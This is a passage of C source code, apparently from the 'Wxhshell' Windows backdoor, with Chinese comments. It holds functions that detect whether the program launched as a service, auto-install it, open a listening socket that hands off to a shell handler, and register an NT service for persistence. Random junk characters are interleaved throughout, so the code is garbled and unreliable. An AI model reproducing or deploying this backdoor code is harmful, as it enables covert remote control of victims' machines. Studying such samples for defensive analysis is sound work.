OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H}jK3;8E if(hProcess==NULL) return 0; 1A`?y&
Ll 6]@|7|N>X HMODULE hMod; i-i}`oN char procName[255]; MrKU,- unsigned long cbNeeded; |mQtjo )"pxry4v7J if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ery?G- ZZ]OR;8 CloseHandle(hProcess); >'2w\Uk~: UgnsV*e & if(strstr(procName,"services")) return 1; // 以服务启动 /QV. U.>G SBN_>;$c5} return 0; // 注册表启动 f}9PEpa,Z } &G7)s%q w{:Oa7_A // 主模块 XoH[MJC int StartWxhshell(LPSTR lpCmdLine) *Lb(urf { 0?5% SOCKET wsl; V~]'+A
q> BOOL val=TRUE; n&3iv^ int port=0; Gw\G+T?M- struct sockaddr_in door; 'sjJSc 9GtVI^] if(wscfg.ws_autoins) Install(); RV#uy] Zs3]|bUR port=atoi(lpCmdLine); @T,H.#bL 7fN&Q~. if(port<=0) port=wscfg.ws_port; #g-*n@
1 PPj6QJ]R0 WSADATA data; cvs"WX3 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~-`BSR `%mBu`A if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; X#Dhk6 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?,i#B'Z^ door.sin_family = AF_INET; sS1J.R door.sin_addr.s_addr = inet_addr("127.0.0.1"); o7@4=m} door.sin_port = htons(port); SqA+u/"j2 ?ck^? p7 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1EAVMJ closesocket(wsl); _#^A:a^e8 return 1;
'QekQ]; } FSYjp{z5 @]ptY* if(listen(wsl,2) == INVALID_SOCKET) { %<ptkZK# closesocket(wsl); ^7s6J{< return 1; zZ+LisS s& } BJO~$/R?v Wxhshell(wsl); Xb+if WSACleanup(); Q,,fDBN Nz>E#.++ return 0; iM\ZJ6 jB/q1vFO } vRb(eg tN'- qdm // 以NT服务方式启动 O%++0k; VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Pdo5sve { lc$@Jjg9 DWORD status = 0; A^r
[_dyZ DWORD specificError = 0xfffffff; 9tc@
&h4Z|h[01 serviceStatus.dwServiceType = SERVICE_WIN32; l=-dK_I? serviceStatus.dwCurrentState = SERVICE_START_PENDING; 9h,yb4jPP serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k+Ma_H` serviceStatus.dwWin32ExitCode = 0; G$x[" serviceStatus.dwServiceSpecificExitCode = 0; 4}_w4@( serviceStatus.dwCheckPoint = 0; H'= i serviceStatus.dwWaitHint = 0; ">D(+ xr!) |Qt`p@W hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O'& \-j 1 if (hServiceStatusHandle==0) return; 1(;33),P8 YI),q.3X~ status = GetLastError(); 9
<kkzy if (status!=NO_ERROR) 4Utx
9^ { #;*ai\6>vD serviceStatus.dwCurrentState = SERVICE_STOPPED; A^Hp #b@ serviceStatus.dwCheckPoint = 0; ry'^1~, serviceStatus.dwWaitHint = 0; &A5[C{x serviceStatus.dwWin32ExitCode = status; Jn:GA@[I serviceStatus.dwServiceSpecificExitCode = specificError; a+a%}76N SetServiceStatus(hServiceStatusHandle, &serviceStatus); >A'!T'"~ return; m1$P3tZPn } ]kplb0` 4;c_ %=cU serviceStatus.dwCurrentState = SERVICE_RUNNING; S5pP"& |